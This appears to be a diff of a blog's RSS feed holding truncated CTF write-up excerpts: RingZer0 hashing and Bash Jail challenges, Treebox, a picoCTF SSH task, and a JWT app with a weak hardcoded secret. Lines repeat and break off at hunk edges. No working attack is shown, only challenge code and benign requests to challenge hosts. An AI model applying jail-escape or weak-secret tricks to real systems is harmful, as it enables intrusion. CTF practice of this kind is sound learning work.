&lt;a href="http://challenges.ringzer0team.com:10013/"&gt;http://challenges.ringzer0team.com:10013/&lt;/a&gt; and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
&lt;a href="http://challenges.ringzer0team.com:10013/?r=response"&gt;http://challenges.ringzer0team.com:10013/?r=&lt;em&gt;response&lt;/em&gt;&lt;/a&gt;
and to do that, we&amp;rsquo;ll be using some Golang.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s declare the URI as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page using the &lt;code&gt;Get&lt;/code&gt; function from the &lt;code&gt;http&lt;/code&gt; standard
library, checking for errors along the way.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Fatalln&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We defer closing the response body when the program ends.&lt;/p&gt;</description></item><item><title>Bash Jail 3</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</link><pubDate>Sun, 24 Jul 2022 12:29:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level3/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdksc&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -48,7 +48,7 @@ library, checking for errors along the way.&lt;/p&gt;
which means we cannot exfiltrate the flag from &lt;code&gt;stderr&lt;/code&gt; since it is blocked.&lt;/p&gt;</description></item><item><title>Bash Jail 2</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</link><pubDate>Sun, 24 Jul 2022 12:28:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level2/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="challenge-bash-code"&gt;Challenge bash code&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdks&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#39;&amp;#39;&amp;amp;&amp;#39;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -75,7 +75,7 @@ string among &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;d&lt;/code&gt;,&lt;code&gt;k
return 1, we get a &amp;ldquo;restricted characters&amp;rdquo; message and no further processing happens.&lt;/p&gt;</description></item><item><title>Bash Jail 1</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</link><pubDate>Sun, 24 Jul 2022 12:27:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Upon SSHing into the box, we are told that the flag is located at &lt;code&gt;/home/level1/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Challenge bash code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Your input:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read input

View File

@@ -9,7 +9,7 @@ and (most) symbols.&lt;/p&gt;</description></item><item><title>Treebox</title><l
&lt;p&gt;Our goal here is to avoid explicitly calling any functions yet reading the flag located at &lt;code&gt;flag&lt;/code&gt;. We also can&amp;rsquo;t import any modules explicitly.&lt;/p&gt;
&lt;p&gt;The source code provided with the challenge imports the &lt;code&gt;sys&lt;/code&gt; module giving us an opportunity to chain its functionalities.&lt;/p&gt;</description></item><item><title>Bash Jail 3</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</link><pubDate>Sun, 24 Jul 2022 12:29:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level3/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdksc&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -34,7 +34,7 @@ and (most) symbols.&lt;/p&gt;</description></item><item><title>Treebox</title><l
which means we cannot exfiltrate the flag from &lt;code&gt;stderr&lt;/code&gt; since it is blocked.&lt;/p&gt;</description></item><item><title>Bash Jail 2</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</link><pubDate>Sun, 24 Jul 2022 12:28:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level2/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="challenge-bash-code"&gt;Challenge bash code&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; $1 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; *&lt;span style="color:#f92672"&gt;[&lt;/span&gt;bdks&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#39;&amp;#39;&amp;amp;&amp;#39;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
@@ -61,7 +61,7 @@ string among &lt;code&gt;b&lt;/code&gt;,&lt;code&gt;d&lt;/code&gt;,&lt;code&gt;k
return 1, we get a &amp;ldquo;restricted characters&amp;rdquo; message and no further processing happens.&lt;/p&gt;</description></item><item><title>Bash Jail 1</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</link><pubDate>Sun, 24 Jul 2022 12:27:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Upon SSHing into the box, we are told that the flag is located at &lt;code&gt;/home/level1/flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Challenge bash code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Your input:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read input

View File

@@ -5,5 +5,5 @@ installing the suite of tools.&lt;/p&gt;
&lt;h1 id="operation-oni"&gt;Operation Oni&lt;/h1&gt;
&lt;p&gt;The challenge has an associated instance which we&amp;rsquo;ll need to log into using SSH using
the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i key_file -p &lt;span style="color:#ae81ff"&gt;61948&lt;/span&gt; ctf-player@saturn.picoctf.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We are provided with a compressed disk image &lt;code&gt;disk.img.gz&lt;/code&gt; which we&amp;rsquo;ll decompress with:&lt;/p&gt;</description></item></channel></rss>

View File

@@ -7,17 +7,17 @@ given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter &lt;code&gt;r&lt;/code&gt;. Let&amp;rsquo;s write
a go program to do that.&lt;/p&gt;
&lt;p&gt;First let&amp;rsquo;s declare the url as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page and defer closing its body once the program ends.&lt;/p&gt;</description></item><item><title>Hash Me Please</title><link>https://lavafroth.is-a.dev/post/r0-hash-me-please/</link><pubDate>Fri, 19 Aug 2022 09:57:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/r0-hash-me-please/</guid><description>&lt;p&gt;In this RingZer0 challenge, we are asked to visit
&lt;a href="http://challenges.ringzer0team.com:10013/"&gt;http://challenges.ringzer0team.com:10013/&lt;/a&gt; and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
&lt;a href="http://challenges.ringzer0team.com:10013/?r=response"&gt;http://challenges.ringzer0team.com:10013/?r=&lt;em&gt;response&lt;/em&gt;&lt;/a&gt;
and to do that, we&amp;rsquo;ll be using some Golang.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s declare the URI as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page using the &lt;code&gt;Get&lt;/code&gt; function from the &lt;code&gt;http&lt;/code&gt; standard
library, checking for errors along the way.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Fatalln&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}

View File

@@ -7,7 +7,7 @@ I must warn you, I was unable to finish all the challenges due to other life eve
&lt;code&gt;answer&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Waiting an Eternity</title><link>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</link><pubDate>Wed, 19 Jul 2023 07:53:17 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</guid><description>&lt;p&gt;This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://waiting-an-eternity.amt.rs&lt;/a&gt; to begin with.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s use &lt;code&gt;curl&lt;/code&gt; with its verbose flag to fetch this URL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a response that tells us to wait an enternity.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; GET / HTTP/2
&amp;gt; Host: waiting-an-eternity.amt.rs
@@ -27,7 +27,7 @@ just wait an eternity
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;
@@ -63,7 +63,7 @@ We are also given the source code of the application.&lt;/p&gt;
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
